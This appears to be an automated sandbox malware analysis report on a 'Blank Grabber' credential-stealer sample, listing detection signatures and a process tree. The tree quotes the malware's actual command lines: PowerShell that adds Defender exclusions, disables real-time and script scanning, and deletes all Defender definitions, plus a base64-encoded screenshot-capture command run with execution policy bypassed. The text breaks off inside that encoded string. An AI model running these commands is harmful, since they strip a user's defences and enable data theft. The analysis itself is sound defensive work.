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Windows Analysis Report
VSSADMIN.EXE.exe

Overview

General Information

Sample Name:VSSADMIN.EXE.exe
Analysis ID:1309234
MD5:b8e16b93be678043ec587ec1c759c2de
SHA1:a8c98ba05ac710a92c4df15956f81cf81073746f
SHA256:15dd97919ebcb246add4fc9e9b201bdd67da510c79f8d89cb4edc7fbf64858fa
Tags:exeHUN
Infos:

Detection

Blank Grabber
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for URL or domain
Yara detected Blank Grabber
Found malware configuration
Multi AV Scanner detection for submitted file
Sigma detected: Dot net compiler compiles file from suspicious location
Multi AV Scanner detection for dropped file
Drops PE files to the startup folder
Uses cmd line tools excessively to alter registry or file data
Encrypted powershell cmdline option found
Removes signatures from Windows Defender
Modifies existing user documents (likely ransomware behavior)
May check the online IP address of the machine
DLL side loading technique detected
Adds a directory exclusion to Windows Defender
Found many strings related to Crypto-Wallets (likely being stolen)
Tries to harvest and steal browser information (history, passwords, etc)
Drops PE files with a suspicious file extension
Bypasses PowerShell execution policy
Modifies the hosts file
Very long command line found
Suspicious powershell command line found
Modifies Windows Defender protection settings
Potentially malicious time measurement code found
Potential dropper URLs found in powershell memory
Drops PE files to the application program directory (C:\ProgramData)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
Stores files to the Windows start menu directory
Too many similar processes found
Contains functionality to dynamically determine API calls
Contains long sleeps (>= 3 min)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Drops PE files
Tries to load missing DLLs
Creates a start menu entry (Start Menu\Programs\Startup)
Uses reg.exe to modify the Windows registry
Compiles C# or VB.Net code
Found large amount of non-executed APIs
Creates a process in suspended mode (likely to inject code)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to shutdown / reboot the system
PE file contains sections with non-standard names
Contains functionality to query CPU information (cpuid)
Found potential string decryption / allocating functions
Yara detected Credential Stealer
Contains functionality to communicate with device drivers
Found dropped PE file which has not been started or loaded
Contains functionality which may be used to detect a debugger (GetProcessHeap)
PE file contains executable resources (Code or Archives)
Contains functionality for execution timing, often used to detect debuggers
Enables debug privileges
Sample file is different than original file name gathered from version info
PE file contains an invalid checksum
Extensive use of GetProcAddress (often used to hide API calls)
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to detect virtual machines (SLDT)
PE / OLE file has an invalid certificate
Uses Microsoft's Enhanced Cryptographic Provider

Classification

  • System is w10x64
  • VSSADMIN.EXE.exe (PID: 6856 cmdline: C:\Users\user\Desktop\VSSADMIN.EXE.exe MD5: B8E16B93BE678043EC587EC1C759C2DE)
    • VSSADMIN.EXE.exe (PID: 6872 cmdline: C:\Users\user\Desktop\VSSADMIN.EXE.exe MD5: B8E16B93BE678043EC587EC1C759C2DE)
      • cmd.exe (PID: 6900 cmdline: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\VSSADMIN.EXE.exe'" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
        • conhost.exe (PID: 6916 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
        • powershell.exe (PID: 7036 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\VSSADMIN.EXE.exe' MD5: 95000560239032BC68B4C2FDFCDEF913)
      • cmd.exe (PID: 6908 cmdline: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
        • conhost.exe (PID: 6928 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
        • powershell.exe (PID: 7028 cmdline: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend MD5: 95000560239032BC68B4C2FDFCDEF913)
        • MpCmdRun.exe (PID: 2996 cmdline: "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All MD5: A267555174BFA53844371226F482B86B)
      • cmd.exe (PID: 6936 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
        • conhost.exe (PID: 6960 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
        • tasklist.exe (PID: 7060 cmdline: tasklist /FO LIST MD5: B12E0F9C42075B4B7AD01D0B6A48485D)
      • cmd.exe (PID: 6304 cmdline: C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
        • conhost.exe (PID: 6344 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
        • WMIC.exe (PID: 6448 cmdline: wmic csproduct get uuid MD5: EC80E603E0090B3AC3C1234C2BA43A0F)
      • cmd.exe (PID: 1724 cmdline: C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
        • conhost.exe (PID: 6568 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
        • reg.exe (PID: 5252 cmdline: REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2 MD5: E3DACF0B31841FA02064B4457D44B357)
      • cmd.exe (PID: 5280 cmdline: C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
        • conhost.exe (PID: 5228 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
        • reg.exe (PID: 6616 cmdline: REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2 MD5: E3DACF0B31841FA02064B4457D44B357)
      • cmd.exe (PID: 5812 cmdline: C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
        • conhost.exe (PID: 1008 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
        • WMIC.exe (PID: 5348 cmdline: wmic path win32_VideoController get name MD5: EC80E603E0090B3AC3C1234C2BA43A0F)
      • cmd.exe (PID: 5396 cmdline: C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
        • conhost.exe (PID: 5388 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
        • WMIC.exe (PID: 6608 cmdline: wmic path win32_VideoController get name MD5: EC80E603E0090B3AC3C1234C2BA43A0F)
      • cmd.exe (PID: 6732 cmdline: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ???.scr'" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
        • conhost.exe (PID: 6676 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
        • powershell.exe (PID: 6920 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ???.scr' MD5: 95000560239032BC68B4C2FDFCDEF913)
      • cmd.exe (PID: 6476 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
        • conhost.exe (PID: 6352 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
        • tasklist.exe (PID: 6560 cmdline: tasklist /FO LIST MD5: B12E0F9C42075B4B7AD01D0B6A48485D)
      • cmd.exe (PID: 6580 cmdline: C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
        • conhost.exe (PID: 6532 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
        • reg.exe (PID: 6156 cmdline: REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath MD5: E3DACF0B31841FA02064B4457D44B357)
      • cmd.exe (PID: 6596 cmdline: C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
        • conhost.exe (PID: 5248 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
        • powershell.exe (PID: 6128 cmdline: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcA